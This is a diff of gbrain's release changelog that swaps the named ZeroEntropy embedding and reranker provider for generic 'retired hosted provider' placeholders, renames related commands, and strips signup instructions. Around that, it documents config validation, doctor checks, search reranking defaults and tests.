- **`src/commands/config.ts`** — strict unknown-key rejection with `--force` escape hatch. Levenshtein suggestion against `KNOWN_CONFIG_KEYS` + `KNOWN_CONFIG_KEY_PREFIXES` (well-known prefixes like `search.`, `models.`, `dream.` accept sub-keys without `--force`). Bug-reporter's three no-op config keys now all exit 1 with the right suggestion.
- **`src/core/config.ts`** — adds `embedding_disabled?: boolean` to `GBrainConfig` (D9 sentinel). Exports `KNOWN_CONFIG_KEYS` (60+ canonical config keys, both file-plane and DB-plane) + `KNOWN_CONFIG_KEY_PREFIXES` (well-known prefixes for namespaced keys).
- **`src/commands/embed.ts`** + **`src/commands/import.ts`** — `runEmbedCore` and `runImport` consult `assertEmbeddingEnabled(loadConfig())` and refuse cleanly with a `gbrain config set embedding_model <id>` hint when `embedding_disabled: true` is set. `gbrain import --no-embed` flag still works (chunks land without vectors).
-- **`src/commands/doctor.ts`** — `embedding_provider` check extended for the v0.36 silent-default repair case. Empty-brain vs non-empty-brain repair branching (drop-and-re-init vs `gbrain retrieval-upgrade`). `subagent_provider` check (v0.31.12) extended per D7 to warn when `chat_model` is non-Anthropic AND `ANTHROPIC_API_KEY` is missing.
+- **`src/commands/doctor.ts`** — `embedding_provider` check extended for the v0.36 silent-default repair case. Empty-brain vs non-empty-brain repair branching (drop-and-re-init vs `gbrain historical-provider-migration`). `subagent_provider` check (v0.31.12) extended per D7 to warn when `chat_model` is non-Anthropic AND `ANTHROPIC_API_KEY` is missing.
- **`src/commands/reindex-multimodal.ts`** — preflight `resolveSchemaMultimodalDim` BEFORE the reindex sweep, mirroring the text-side contract from `initPGLite`.
- **`src/core/pglite-engine.ts` + `src/core/postgres-engine.ts`** — empty brain (`pageCount === 0`) now scores **100/100**, not 0/100. Vacuous truth: an empty brain has no coverage problem to penalize. Pre-fix, fresh `gbrain init --pglite` users saw `Brain score 0/100` on first `gbrain doctor` run, which was structurally surprising. Same fix on both engines, breakdown components unchanged for non-empty brains.
- **`test/levenshtein.test.ts`** (18 cases), **`test/embedding-dim-check.test.ts`** (23 cases, extended), **`test/providers.test.ts`** (10 cases), **`test/init-provider-picker.test.ts`** (7 cases), **`test/init-env-detection.test.ts`** (21 cases), **`test/config-set.test.ts`** (19 cases) — 98 new unit cases pinning the env-detection grouping, Matryoshka validation, picker caveat behavior, Levenshtein suggestions, and bug-reporter regression for the three no-op keys.
@@ -17688,7 +17788,7 @@ Things to watch:
`gbrain upgrade` should pick this up automatically. If `gbrain doctor` warns about a v0.36 silent-default install:
-1. **Run the suggested repair from the doctor output.** Empty brain → `gbrain init --force --pglite --embedding-model <id>`. Non-empty brain → `gbrain retrieval-upgrade --to <id> --reindex`.
+1. **Run the suggested repair from the doctor output.** Empty brain → `gbrain init --force --pglite --embedding-model <id>`. Non-empty brain → `gbrain historical-provider-migration --to <id> --reindex`.
2. **For CI/Docker:** review whether your image-build path runs `gbrain init --pglite` without an API key present. If so, switch to either Pattern 1 (key at build) or Pattern 2 (`--no-embedding` opt-in + runtime config) from `docs/operations/headless-install.md`.
3. **For downstream tooling writing config keys:** if you have scripts that `gbrain config set` an unknown key (e.g. a custom plugin), pass `--force` to keep them working. Or migrate to a known prefix (`search.X`, `dream.X`, `models.X`).
4. **Verify:**
@@ -18931,9 +19031,9 @@ gate, doctor_run_id GIN index, op_checkpoints GC).
## [0.36.3.0] - 2026-05-18
-**Search now routes through any embedding column you've populated, not just OpenAI 1536. Voyage and ZeroEntropy columns become first-class search targets in one config flip.**
+**Search now routes through any embedding column you've populated, not just OpenAI 1536. Voyage and retired hosted provider columns become first-class search targets in one config flip.**
-Until this release, gbrain hardcoded `embedding` (OpenAI 1536) as the only column hybrid search could read from. If you'd backfilled `embedding_voyage` (1024d) or `embedding_zeroentropy` (halfvec 2560d) on the side, the index was paid for but unusable. Now `gbrain config set search_embedding_column embedding_voyage` flips your whole brain to Voyage in a single line. The query op also takes `embedding_column` per-call for A/B benchmarking. Adversarial reviews on both the planning and shipping paths caught fifteen real bugs that aren't shipping today — config-plane drift, cosine-rescore corruption when the descriptor's space doesn't match the cache, prototype-pollution via `constructor` as a column key, validation bypass on the descriptor passthrough, and a doctor false-warn on fresh brains.
+Until this release, gbrain hardcoded `embedding` (OpenAI 1536) as the only column hybrid search could read from. If you'd backfilled `embedding_voyage` (1024d) or `embedding_retired-provider` (halfvec 2560d) on the side, the index was paid for but unusable. Now `gbrain config set search_embedding_column embedding_voyage` flips your whole brain to Voyage in a single line. The query op also takes `embedding_column` per-call for A/B benchmarking. Adversarial reviews on both the planning and shipping paths caught fifteen real bugs that aren't shipping today — config-plane drift, cosine-rescore corruption when the descriptor's space doesn't match the cache, prototype-pollution via `constructor` as a column key, validation bypass on the descriptor passthrough, and a doctor false-warn on fresh brains.
The numbers that matter:
@@ -19002,7 +19102,7 @@ What this means: you can run a side-by-side provider eval today. Set `embedding_
```bash
gbrain config set embedding_columns '{
"embedding_voyage": { "provider": "voyage:voyage-3-large", "dimensions": 1024, "type": "vector" },
- "embedding_zeroentropy": { "provider": "zeroentropyai:zembed-1", "dimensions": 2560, "type": "halfvec" }
+ "embedding_retired-provider": { "provider": "retired-provider:retired-embedding-1", "dimensions": 2560, "type": "halfvec" }
}'
```
3. Verify with doctor:
@@ -19019,15 +19119,15 @@ What this means: you can run a side-by-side provider eval today. Set `embedding_
If any step fails, file an issue at https://github.com/garrytan/gbrain/issues with `gbrain doctor` output and `~/.gbrain/upgrade-errors.jsonl` if it exists.
## [0.36.2.0] - 2026-05-17
-**ZeroEntropy is the new default. Faster, cheaper, better quality on real queries. Existing users get a one-shot switch prompt with cost estimate; new installs land on it out of the box. README rewritten to match what gbrain actually is in 2026.**
+**retired hosted provider is the new default. Faster, cheaper, better quality on real queries. Existing users get a one-shot switch prompt with cost estimate; new installs land on it out of the box. README rewritten to match what gbrain actually is in 2026.**
-Track A flips the default embedding + reranker stack to ZeroEntropy. `zembed-1` at 1280 dims via Matryoshka for embeddings, `zerank-2` cross-encoder reranker on by default in the `balanced` mode bundle. The decision is reversible: `gbrain ze-switch --undo` restores your prior config with a symmetric cost-warning prompt. Track B is a zero-based README rewrite from 884 lines to 139, with the deep-dive content moved into dedicated docs files (`docs/INSTALL.md`, `docs/architecture/RETRIEVAL.md`, `docs/ethos/ORIGIN.md`).
+Track A flips the default embedding + reranker stack to retired hosted provider. `retired-embedding-1` at 1280 dims via Matryoshka for embeddings, `retired-reranker-2` cross-encoder reranker on by default in the `balanced` mode bundle. The decision is reversible: `gbrain retired-provider-switch --undo` restores your prior config with a symmetric cost-warning prompt. Track B is a zero-based README rewrite from 884 lines to 139, with the deep-dive content moved into dedicated docs files (`docs/INSTALL.md`, `docs/architecture/RETRIEVAL.md`, `docs/ethos/ORIGIN.md`).
### The numbers that matter
Comparison numbers come from a real-corpus benchmark across 20 hand-curated queries on a 17K-page brain. Three providers, head-to-head:
-| Metric | OpenAI | Voyage | ZeroEntropy |
+| Metric | OpenAI | Voyage | retired hosted provider |
|---|---|---|---|
| Top-1 wins (of 20 queries) | 6 | 4 | **11** |
| Avg latency | 973ms | 559ms | **442ms** |
@@ -19035,11 +19135,11 @@ Comparison numbers come from a real-corpus benchmark across 20 hand-curated quer
| Reshuffle of top-1 as reranker | n/a | n/a | **60%** |
| Cross-provider overlap | 10-18% (any pair) | — | — |
-The cross-provider overlap is the most interesting number: providers literally see different things. Pairing zembed-1 (primary) + zerank-2 (reranker) compounds; that's why default-balanced mode now enables the reranker (it was off in v0.35).
+The cross-provider overlap is the most interesting number: providers literally see different things. Pairing retired-embedding-1 (primary) + retired-reranker-2 (reranker) compounds; that's why default-balanced mode now enables the reranker (it was off in v0.35).
### What this means for the user
-**New installs ship faster, cheaper retrieval by default.** No config required: `gbrain init` lands on `zeroentropyai:zembed-1` at 1280d with reranker on. Get a key from [zeroentropy.dev](https://dashboard.zeroentropy.dev), set it via `gbrain config set zeroentropy_api_key sk-...`, done. If you'd rather stay on OpenAI/Voyage, `gbrain config set embedding_model <provider:model>` overrides the default — your choice sticks.
+**New installs ship faster, cheaper retrieval by default.** No config required: `gbrain init` lands on `retired-provider:retired-embedding-1` at 1280d with reranker on. The release used a provider-issued key; the obsolete signup and key-setting instructions have been removed. If you'd rather stay on OpenAI/Voyage, `gbrain config set embedding_model <provider:model>` overrides the default — your choice sticks.
**Existing brains see a one-shot upgrade prompt** the first time you run `gbrain upgrade` to v0.36.2.0. The prompt:
- Shows the comparison numbers above
@@ -19047,55 +19147,55 @@ The cross-provider overlap is the most interesting number: providers literally s
- Defaults on Enter to STAY (safest); explicit `s` to switch, `l` to ask later, `n` to never ask
- Re-asks after 90 days if you said never (so a year-later contributor's "we have better benchmarks now" data gets surfaced)
-The prompt is TTY-only — non-TTY upgrades (CI, cron, docker) print an informational stderr line and skip. Re-run the switch interactively any time via `gbrain ze-switch`.
+The prompt is TTY-only — non-TTY upgrades (CI, cron, docker) print an informational stderr line and skip. Re-run the switch interactively any time via `gbrain retired-provider-switch`.
-**The switch consolidates with the v0.32.7 chunker-bump prompt.** If your brain has both pending (chunker version is stale AND you're switching providers), the `RetrievalUpgradePlanner` computes one combined cost and runs ONE re-embed pass. No double-charging. This was a real bug the original cutover plan had; codex outside-voice caught it pre-implementation.
+**The switch consolidates with the v0.32.7 chunker-bump prompt.** If your brain has both pending (chunker version is stale AND you're switching providers), the `HistoricalProviderMigrationPlanner` computes one combined cost and runs ONE re-embed pass. No double-charging. This was a real bug the original cutover plan had; codex outside-voice caught it pre-implementation.
### What you can now do
-**Run with the data behind the default.** `gbrain ze-switch --dry-run` shows you the exact pages-pending, cost estimate, and schema-change time before any change. `--json` makes it agent-readable. `--undo` reverses the switch with a symmetric cost prompt (re-embedding back to the old width costs real money — the prompt is honest about that).
+**Run with the data behind the default.** `gbrain retired-provider-switch --dry-run` shows you the exact pages-pending, cost estimate, and schema-change time before any change. `--json` makes it agent-readable. `--undo` reverses the switch with a symmetric cost prompt (re-embedding back to the old width costs real money — the prompt is honest about that).
-**Switch without TTY.** `gbrain ze-switch --non-interactive` is scripted-deploy-friendly. Errors out without `ZEROENTROPY_API_KEY` set unless you also pass `--ignore-missing-key` (lets you stage the schema change before the key is ready; embeddings will fail loud until the key arrives).
+**Switch without TTY.** `gbrain retired-provider-switch --non-interactive` is scripted-deploy-friendly. Errors out without `RETIRED_PROVIDER_API_KEY` set unless you also pass `--ignore-missing-key` (lets you stage the schema change before the key is ready; embeddings will fail loud until the key arrives).
-**Recover from a half-applied switch.** Power loss or SIGKILL between schema change and config write puts your brain in a known-bad state: schema width is 1280d but config still says 1536d. `gbrain doctor`'s new `embedding_width_consistency` check catches this and recommends `gbrain ze-switch --resume`, which completes whichever step was missing.
+**Recover from a half-applied switch.** Power loss or SIGKILL between schema change and config write puts your brain in a known-bad state: schema width is 1280d but config still says 1536d. `gbrain doctor`'s new `embedding_width_consistency` check catches this and recommends `gbrain retired-provider-switch --resume`, which completes whichever step was missing.
-**Verify your config matches your schema.** `gbrain doctor` ships two new ZE-aware checks: `ze_embedding_health` (warns if you configured ZE but no key is set), `embedding_width_consistency` (asserts config dim matches the actual vector(N) column width). Both have paste-ready `gbrain config set` fix hints in the message.
+**Verify your config matches your schema.** `gbrain doctor` ships two new retired provider-aware checks: `retired_provider_embedding_health` (warns if you configured retired provider but no key is set), `embedding_width_consistency` (asserts config dim matches the actual vector(N) column width). Both have paste-ready `gbrain config set` fix hints in the message.
### Itemized changes
-#### Track A — ZeroEntropy as default
+#### Track A — retired hosted provider as default
-- `src/core/ai/gateway.ts:45-54` — `DEFAULT_EMBEDDING_MODEL='zeroentropyai:zembed-1'`, `DEFAULT_EMBEDDING_DIMENSIONS=1280`, `DEFAULT_RERANKER_MODEL='zeroentropyai:zerank-2'`. 1280d is the Matryoshka step closest to the prior OpenAI 1536d default; 1024 (Voyage's step) is NOT on ZE's valid-dim list — `ZEROENTROPY_VALID_DIMS = {2560, 1280, 640, 320, 160, 80, 40}`.
+- `src/core/ai/gateway.ts:45-54` — `DEFAULT_EMBEDDING_MODEL='retired-provider:retired-embedding-1'`, `DEFAULT_EMBEDDING_DIMENSIONS=1280`, `DEFAULT_RERANKER_MODEL='retired-provider:retired-reranker-2'`. 1280d is the Matryoshka step closest to the prior OpenAI 1536d default; 1024 (Voyage's step) is NOT on retired provider's valid-dim list — `RETIRED_PROVIDER_VALID_DIMS = {2560, 1280, 640, 320, 160, 80, 40}`.
- `src/core/search/mode.ts` — `balanced.reranker_enabled` flipped to `true`. The 60% top-1 reshuffle reaches every default install. Missing-key fail-open contract in `src/core/search/rerank.ts` handles unauthenticated cases (logs to audit JSONL, returns input order unchanged). Opt out with `gbrain config set search.reranker.enabled false`.
-- **NEW** `src/core/retrieval-upgrade-planner.ts` — `RetrievalUpgradePlanner` consolidates the v0.32.7 chunker-bump prompt with the new ZE-switch prompt. Tagged-union `ApplyResult` enum (six states: `applied`, `skipped_already_applied`, `skipped_no_work`, `declined`, `planned`, `failed`). Three config keys (`ze_switch_prompt_shown`, `ze_switch_requested`, `ze_switch_applied`) separate UI state from intent from work-done. `ze_switch_previous_snapshot` JSON captures full prior state for `--undo`. Cost math uses MAX not SUM for the consolidation case — one re-embed pass invalidates both chunker and dim surfaces.
-- **NEW** `src/core/retrieval-upgrade-prompt.ts` — interactive prompt UI. Two-line cost split (schema change ~Xs + re-embed ~$Y for N pages). Privacy callout when reranker flips on. Default-on-Enter = stay (safest). 90-day re-ask window for "never ask again".
-- **NEW** `src/commands/ze-switch.ts` — manual CLI lever (`--dry-run`, `--json`, `--resume`, `--force`, `--undo`, `--non-interactive`, `--confirm-reembed`, `--ignore-missing-key`).
+- **NEW** `src/core/historical-provider-migration-planner.ts` — `HistoricalProviderMigrationPlanner` consolidates the v0.32.7 chunker-bump prompt with the new retired-provider-switch prompt. Tagged-union `ApplyResult` enum (six states: `applied`, `skipped_already_applied`, `skipped_no_work`, `declined`, `planned`, `failed`). Three config keys (`retired_provider_switch_prompt_shown`, `retired_provider_switch_requested`, `retired_provider_switch_applied`) separate UI state from intent from work-done. `retired_provider_switch_previous_snapshot` JSON captures full prior state for `--undo`. Cost math uses MAX not SUM for the consolidation case — one re-embed pass invalidates both chunker and dim surfaces.
+- **NEW** `src/core/historical-provider-migration-prompt.ts` — interactive prompt UI. Two-line cost split (schema change ~Xs + re-embed ~$Y for N pages). Privacy callout when reranker flips on. Default-on-Enter = stay (safest). 90-day re-ask window for "never ask again".
+- **NEW** `src/commands/retired-provider-switch.ts` — manual CLI lever (`--dry-run`, `--json`, `--resume`, `--force`, `--undo`, `--non-interactive`, `--confirm-reembed`, `--ignore-missing-key`).
- `src/core/ai/dims.ts` — `AIConfigError` extended to OpenAI text-embedding-3-{small,large}. Fail-loud at the embed boundary when configured dim is outside the model's Matryoshka range, with a paste-ready `gbrain config set embedding_dimensions <N>` fix.
-- `src/commands/doctor.ts` — two new checks (`ze_embedding_health`, `embedding_width_consistency`).
+- `src/commands/doctor.ts` — two new checks (`retired_provider_embedding_health`, `embedding_width_consistency`).
- Schema transition runs inside a single `engine.transaction()`: DROP indexes → ALTER COLUMN → CREATE INDEX. HNSW indexes are recreated atomically with the column change — no silent slow-search window where vector queries degrade to sequential scan.
-- **NEW** `skills/migrations/v0.36.2.0.md` — agent-facing migration skill. Tells the agent to surface the retrieval-upgrade prompt to the user post-upgrade.
+- **NEW** `skills/migrations/v0.36.2.0.md` — agent-facing migration skill. Tells the agent to surface the historical-provider-migration prompt to the user post-upgrade.
#### Track B — README rewrite
- `README.md` — 884 lines → 139 lines. 33 H2s → 8. Three "New in vX.Y.Z" hero blocks deleted (CHANGELOG carries history; release notes don't belong in the front door). The 136-line `Commands` section moved to `gbrain --help`. The 6-table skills enumeration collapsed to a one-paragraph capability description + link to `skills/RESOLVER.md`.
- **NEW** `docs/INSTALL.md` — every install path consolidated into one place. Agent platform, CLI standalone, MCP server (stdio + HTTP). Thin-client mode included.
- **NEW** `docs/architecture/RETRIEVAL.md` — "why the hybrid + graph stack works." BrainBench numbers, why each strategy alone fails, how source-aware ranking + intent classification + multi-query expansion fit. Lifted from the old README's deep-dive section so the front door stays clean.
-- **NEW** `docs/ethos/ORIGIN.md` — origin story moved out of README. The hero stays factual + concrete (production numbers, benchmark numbers, ZE comparison numbers); the narrative arc lives in its own file.
-- Hero retains every load-bearing fact: OpenClaw + Hermes credit, production numbers (17,888 pages / 4,383 people / 723 companies), BrainBench numbers (P@5 49.1% / R@5 97.9% / +31.4 lift), ZE comparison numbers, install timing claim.
+- **NEW** `docs/ethos/ORIGIN.md` — origin story moved out of README. The hero stays factual + concrete (production numbers, benchmark numbers, retired provider comparison numbers); the narrative arc lives in its own file.
+- Hero retains every load-bearing fact: OpenClaw + Hermes credit, production numbers (17,888 pages / 4,383 people / 723 companies), BrainBench numbers (P@5 49.1% / R@5 97.9% / +31.4 lift), retired provider comparison numbers, install timing claim.
#### Tests
-- **NEW** `test/retrieval-upgrade-planner.test.ts` (24 cases) — full state-machine coverage. C3 eligibility logic. Cost math C4 (MAX-not-SUM). Schema transition + HNSW recreation atomicity (D18). Crash recovery via `--resume`. Snapshot captured BEFORE config writes (D16). Undo round-trip.
-- **NEW** `test/ze-switch-cli.test.ts` (11 cases) — CLI shape: `--help`, `--dry-run`, `--json`, `--non-interactive`, `--ignore-missing-key`, `--resume`, `--undo`, `--confirm-reembed`.
+- **NEW** `test/historical-provider-migration-planner.test.ts` (24 cases) — full state-machine coverage. C3 eligibility logic. Cost math C4 (MAX-not-SUM). Schema transition + HNSW recreation atomicity (D18). Crash recovery via `--resume`. Snapshot captured BEFORE config writes (D16). Undo round-trip.
+- **NEW** `test/retired-provider-switch-cli.test.ts` (11 cases) — CLI shape: `--help`, `--dry-run`, `--json`, `--non-interactive`, `--ignore-missing-key`, `--resume`, `--undo`, `--confirm-reembed`.
- **NEW** `test/asymmetric-encoding-contract.test.ts` (6 cases) — D17 behavior-test (replaces text-grep). `__setEmbedTransportForTests` captures the HTTP body; asserts `input_type='query'` for the search-time call. Source-text guard is the cheap second layer.
- **NEW** `test/balanced-reranker-default.test.ts` (10 cases) — D6 mode-bundle flip pinned. Fail-open contract on missing key. Recall-preserving tail when topNIn < results.length.
-- **NEW** `test/doctor-ze-checks.test.ts` (8 cases) — A5 doctor checks.
+- **NEW** `test/historical-provider-doctor-checks.test.ts` (8 cases) — A5 doctor checks.
- **NEW** `test/ai/dims-openai.test.ts` (16 cases) — D13 OpenAI Matryoshka range validation. Paste-ready fix hint in `fix` field.
-- **NEW** `test/readme-hero-anchors.test.ts` (5 cases) — D9 regression guard. Five load-bearing strings: OpenClaw, Hermes, ZE, production-numbers regex, P@5/R@5.
+- **NEW** `test/readme-hero-anchors.test.ts` (5 cases) — D9 regression guard. Five load-bearing strings: OpenClaw, Hermes, retired provider, production-numbers regex, P@5/R@5.
### To take advantage of v0.36.2.0
-`gbrain upgrade` runs the consolidated retrieval-upgrade prompt automatically.
+`gbrain upgrade` runs the consolidated historical-provider-migration prompt automatically.
1. **Run the upgrade:**
```bash
@@ -19111,14 +19211,14 @@ The prompt is TTY-only — non-TTY upgrades (CI, cron, docker) print an informat
```bash
gbrain doctor
```
- `ze_embedding_health` should be green; `embedding_width_consistency` should report schema and config both at 1280.
-5. **If you regret it:** `gbrain ze-switch --undo`. Restores your prior model + dim + reranker state. Re-embeds at the old width with the same symmetric cost prompt.
+ `retired_provider_embedding_health` should be green; `embedding_width_consistency` should report schema and config both at 1280.
+5. **If you regret it:** `gbrain retired-provider-switch --undo`. Restores your prior model + dim + reranker state. Re-embeds at the old width with the same symmetric cost prompt.
-If the prompt didn't fire (non-TTY upgrade, you already said "never"), run `gbrain ze-switch` manually to see it, or `gbrain ze-switch --force` to bypass the prompt-shown gate.
+If the prompt didn't fire (non-TTY upgrade, you already said "never"), run `gbrain retired-provider-switch` manually to see it, or `gbrain retired-provider-switch --force` to bypass the prompt-shown gate.
If any step misbehaves, please file an issue at https://github.com/garrytan/gbrain/issues with the output of `gbrain doctor --json` and the relevant `~/.gbrain/upgrade-errors.jsonl` if it exists.
-Credit: ZeroEntropy ([@zeroentropy](https://zeroentropy.dev)) for the embedding + reranker stack. Codex outside-voice review caught the double-re-embed bug class pre-implementation.
+Credit: the retired hosted provider for the embedding + reranker stack (original attribution is preserved in the pre-removal Git revision cited above). Codex outside-voice review caught the double-re-embed bug class pre-implementation.
## [0.36.1.1] - 2026-05-18
**Twenty-eight community-reported bugs fix themselves on your next `gbrain upgrade`.** The most painful ones first: fresh installs work again, `/admin` actually serves the dashboard, `gbrain config set openai_api_key` stops echoing your secret to stderr, and `extract_facts` no longer dead-letters autopilot when a sync no-op passes an empty slug list.
@@ -19554,7 +19654,7 @@ This is the wave the original temporal-contradiction RFC deferred to "Phases 2-4
**Your search results stop letting weak pages climb to the top just because they have a lot of links pointing at them.** Off by default; turn it on with one config key.
-Here's the problem this fixes. When your agent searches your brain, gbrain ranks pages by how well they match the query, then it gives a small bonus to pages that have lots of inbound links, pages you write about often, and pages you touched recently. Those bonuses are small individually. But on a big brain indexed with a strong embedding model (the kind shipped in v0.35.0.0 with ZeroEntropy zembed-1, or anyone running OpenAI text-embedding-3-large or Voyage 3+), the strong embedder treats "topically adjacent" content as more similar than it really is. So a page that barely matches your query still lands in the candidate pool, picks up all three bonuses, and ends up ranked higher than the page that actually answers your question.
+Here's the problem this fixes. When your agent searches your brain, gbrain ranks pages by how well they match the query, then it gives a small bonus to pages that have lots of inbound links, pages you write about often, and pages you touched recently. Those bonuses are small individually. But on a big brain indexed with a strong embedding model (the kind shipped in v0.35.0.0 with retired hosted provider retired-embedding-1, or anyone running OpenAI text-embedding-3-large or Voyage 3+), the strong embedder treats "topically adjacent" content as more similar than it really is. So a page that barely matches your query still lands in the candidate pool, picks up all three bonuses, and ends up ranked higher than the page that actually answers your question.
The fix is a "floor." When you turn it on, gbrain only gives the metadata bonuses to pages near the top of the result list. Pages way down the list (far from the best match) get NO bonus, no matter how popular or important they are by other measures. So a weak match stays weak. A strong match stays on top.
@@ -19927,7 +20027,7 @@ Two real bugs, both in shipping code on master since v0.28+, both fixed at the a
- `test/mcp-tool-defs.test.ts` adds: (a) explicit fixture for `extract_facts.entity_hints.items.type === 'string'`, (b) synthetic nested-array ParamDef pinning `items.items.type` recursion, (c) `findArrayWithoutItems` walker that fails the suite with a property path on any `type: 'array'` lacking `items.type`. `legacyInlineMap` reference mirrors the new recursive helper.
- `test/git-remote.test.ts` snapshot split: `GIT_SSRF_FLAGS` pins to 3 elements (no submodules), new `GIT_SSRF_SUBCOMMAND_FLAGS` snapshot pins to 1. `cloneRepo` + `pullRepo` argv tests assert `indexOf(--no-recurse-submodules) > indexOf(verb)` — position-anchored regression guard. Pre-v0.35.3 the existing test at `:233` baked the bug in via `argv.slice(0, GIT_SSRF_FLAGS.length)`.
- `test/resolvers.test.ts` (existing file) gets a new `describe` block. Explicitly imports `xHandleToTweetResolver` + `urlReachableResolver` and walks both `inputSchema` AND `outputSchema` recursively. Negative coverage guard asserts `builtins.length >= 2` so a future autoformatter dropping the array can't silently turn the walk into a no-op.
-- `test/e2e/zeroentropy-live.test.ts` raises rerank test timeouts to handle ZeroEntropy's cold-start latency (observed ~5-6s on Tier 2 runners; subsequent calls < 500ms). Passes explicit `timeoutMs: 25000` to each rerank() call and a 30s bun:test per-test timeout. Production `DEFAULT_RERANK_TIMEOUT_MS = 5000` in `gateway.ts` stays put for the search hot path.
+- `test/e2e/retired-provider-live.test.ts` raises rerank test timeouts to handle retired hosted provider's cold-start latency (observed ~5-6s on Tier 2 runners; subsequent calls < 500ms). Passes explicit `timeoutMs: 25000` to each rerank() call and a 30s bun:test per-test timeout. Production `DEFAULT_RERANK_TIMEOUT_MS = 5000` in `gateway.ts` stays put for the search hot path.
- Contributed by: @DmitryBMsk (PR #910 — deepest variant of the entity_hints + candidates double-fix); cleanest naming from PR #846 (`GIT_SSRF_SUBCOMMAND_FLAGS`). 17 superseded PRs being closed with thank-you notes after this merge: #1028, #1023, #1020, #999, #985, #980, #979, #963, #904, #863, #862, #847, #846, #842, #832, #812.
## To take advantage of v0.35.3.0
@@ -19984,11 +20084,11 @@ A pre-spend smoke for the upcoming embedder shootout caught three tightly-couple
**Embedder shootout prereqs: pricing, public gateway export, and resume-from for long eval runs.**
-A focused infrastructure release setting up the upcoming OpenAI vs Voyage vs ZeroEntropy comparison documented in `docs/designs/2026_05_EVAL_PLAN.md`. Three changes, each independently useful: `gbrain upgrade` now estimates costs correctly for `voyage:voyage-4-large` and `zeroentropyai:zembed-1` (previously fell through to "estimate unavailable"); external eval consumers can swap embedding providers per cell via the newly-public `gbrain/ai/gateway` subpath; multi-hour LongMemEval runs survive mid-run aborts via `--resume-from`.
+A focused infrastructure release setting up the upcoming OpenAI vs Voyage vs retired hosted provider comparison documented in `docs/designs/2026_05_EVAL_PLAN.md`. Three changes, each independently useful: `gbrain upgrade` now estimates costs correctly for `voyage:voyage-4-large` and `retired-provider:retired-embedding-1` (previously fell through to "estimate unavailable"); external eval consumers can swap embedding providers per cell via the newly-public `gbrain/ai/gateway` subpath; multi-hour LongMemEval runs survive mid-run aborts via `--resume-from`.
### What you can now do
-**See real cost estimates for Voyage 4 Large and ZeroEntropy zembed-1.** Before this release, `gbrain upgrade`'s post-upgrade reembed prompt silently fell back to "estimate unavailable" for these two models, even though both shipped with first-class recipe support in v0.35.0.0. Now: `voyage:voyage-4-large` resolves at $0.18/MTok (matching voyage-3-large) and `zeroentropyai:zembed-1` at $0.05/MTok. The lookup is case-insensitive on the provider name and falls back cleanly on unknown providers — no fabricated numbers.
+**See real cost estimates for Voyage 4 Large and retired hosted provider retired-embedding-1.** Before this release, `gbrain upgrade`'s post-upgrade reembed prompt silently fell back to "estimate unavailable" for these two models, even though both shipped with first-class recipe support in v0.35.0.0. Now: `voyage:voyage-4-large` resolves at $0.18/MTok (matching voyage-3-large) and `retired-provider:retired-embedding-1` at $0.05/MTok. The lookup is case-insensitive on the provider name and falls back cleanly on unknown providers — no fabricated numbers.
**Drive gbrain's embedding gateway from outside the binary.** `package.json` exports gain `gbrain/ai/gateway` so external consumers (`gbrain-evals`, custom eval harnesses, third-party integrations) can call `configureGateway({embedding_model, embedding_dimensions, reranker_model})` directly instead of forking gbrain or duplicating the recipe wiring. This unblocks per-cell provider swapping in eval matrices without a brain DB. The exports surface count goes 17→18, locked by the canary contract test.
@@ -19996,7 +20096,7 @@ A focused infrastructure release setting up the upcoming OpenAI vs Voyage vs Zer
### Itemized changes
-- `src/core/embedding-pricing.ts` adds `voyage:voyage-4-large` ($0.18/MTok) and `zeroentropyai:zembed-1` ($0.05/MTok). New test file `test/embedding-pricing.test.ts` pins both entries, case-insensitive provider matching, bare-model openai-default fallback, table integrity (lowercase providers, finite non-negative prices), and the `estimateCostFromChars` approximation — 11 cases, 46 expect() calls.
+- `src/core/embedding-pricing.ts` adds `voyage:voyage-4-large` ($0.18/MTok) and `retired-provider:retired-embedding-1` ($0.05/MTok). New test file `test/embedding-pricing.test.ts` pins both entries, case-insensitive provider matching, bare-model openai-default fallback, table integrity (lowercase providers, finite non-negative prices), and the `estimateCostFromChars` approximation — 11 cases, 46 expect() calls.
- `package.json` exports map adds `"./ai/gateway": "./src/core/ai/gateway.ts"`. `scripts/check-exports-count.sh` bumps `EXPECTED_COUNT` 17→18. `test/public-exports.test.ts` adds canary entries for `configureGateway` and `embed` symbols and bumps the inline count assertion. The pre-existing import-resolution failures in this test file are unchanged (longstanding Bun package self-import behavior, not introduced or worsened by this release).
- `src/commands/eval-longmemeval.ts` adds `--resume-from <path>` CLI flag. New exported helper `loadResumeSet(path)` is the parser (file-not-found → empty set; corrupt lines silently skipped; error-rows retry). `makeEmitter()` takes a second `append` arg; runner sets it true when `--resume-from path === --output path`. 6 new test cases in `test/eval-longmemeval.test.ts` covering file-not-found, well-formed load, retry semantics, SIGKILL-recovery corrupt-line tolerance, end-to-end append-mode resume against the 5-question mini fixture, and all-done early-return (stub client must NOT be invoked).
@@ -20027,26 +20127,26 @@ A focused infrastructure release setting up the upcoming OpenAI vs Voyage vs Zer
## [0.35.0.0] - 2026-05-15
-**ZeroEntropy in the box: zembed-1 embeddings + zerank-2 cross-encoder reranking, on by default for tokenmax mode.**
+**retired hosted provider in the box: retired-embedding-1 embeddings + retired-reranker-2 cross-encoder reranking, on by default for tokenmax mode.**
-ZeroEntropy ships two specialized small models that target the two weakest retrieval moments in a gbrain pipeline: `zembed-1` (a 32K-context embedding distilled from zerank-2 with flexible Matryoshka dims at 2560/1280/640/320/160/80/40) and `zerank-2` (a multilingual cross-encoder reranker, $0.025/1M tokens, ~50% cheaper than Cohere/Voyage rerankers). Both land as a new openai-compatible recipe alongside OpenAI/Voyage. The reranker is the bigger story: search had no reranker stage before this release. Hybrid search now ends with `RRF → dedup → reranker → token-budget` when reranker is enabled, with one configuration flip to opt in.
+retired hosted provider ships two specialized small models that target the two weakest retrieval moments in a gbrain pipeline: `retired-embedding-1` (a 32K-context embedding distilled from retired-reranker-2 with flexible Matryoshka dims at 2560/1280/640/320/160/80/40) and `retired-reranker-2` (a multilingual cross-encoder reranker, $0.025/1M tokens, ~50% cheaper than Cohere/Voyage rerankers). Both land as a new openai-compatible recipe alongside OpenAI/Voyage. The reranker is the bigger story: search had no reranker stage before this release. Hybrid search now ends with `RRF → dedup → reranker → token-budget` when reranker is enabled, with one configuration flip to opt in.
### What you can now do
